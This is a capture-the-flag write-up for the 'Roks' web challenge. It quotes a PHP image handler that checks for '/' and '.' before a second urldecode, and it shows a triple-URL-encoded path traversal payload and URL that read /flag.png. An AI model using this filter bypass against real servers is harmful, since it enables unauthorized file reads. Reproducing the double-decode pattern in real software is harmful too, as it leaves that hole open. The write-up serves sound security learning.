# Roks

### Description

by `FIREPONY57`

My rock enthusiast friend made a website to show off some of his pictures. Could you do something with it?

**Attachments**: [source](https://imaginaryctf.org/r/0Sm4V#roks.zip)\
**Server**: [http://roks.chal.imaginaryctf.org](http://roks.chal.imaginaryctf.org/)

### Solution

Flag location: `COPY flag.png /` (root directory -> `/flag.png`)

Website uses `file.php` to display images.

```js
xhr.open("GET", "file.php?file=" + randomImageName, true);
```

`file.php`:

```php
<?php
  $filename = urldecode($_GET["file"]);
  if (str_contains($filename, "/") or str_contains($filename, ".")) {
    $contentType = mime_content_type("stopHacking.png");
    header("Content-type: $contentType");
    readfile("stopHacking.png");
  } else {
    $filePath = "images/" . urldecode($filename);
    $contentType = mime_content_type($filePath);
    header("Content-type: $contentType");
    readfile($filePath);
  }
?>
```

requested `file` get's `urldecoded` and filtered for `/` and `.`

We need to get around this somehow. The interesting thing is `urldecode`, it's used once more when filter is passed (which is awfully odd).\
What if we URLEncode payload three times to bypass the filter?

![roks-1](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-69118443e1611146071d2aca60322df9fd680f0a%2Froks-1.png?alt=media)

Payload: `%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng`\
Final URL: `http://roks.chal.imaginaryctf.org/file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng`

![roks-2](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-04caf21dad879b6a39fe879859b550644c76243b%2Froks-2.png?alt=media)

{% hint style="success" %}
Flag: ictf{tr4nsv3rs1ng\_0v3r\_r0k5\_6a3367}
{% endhint %}
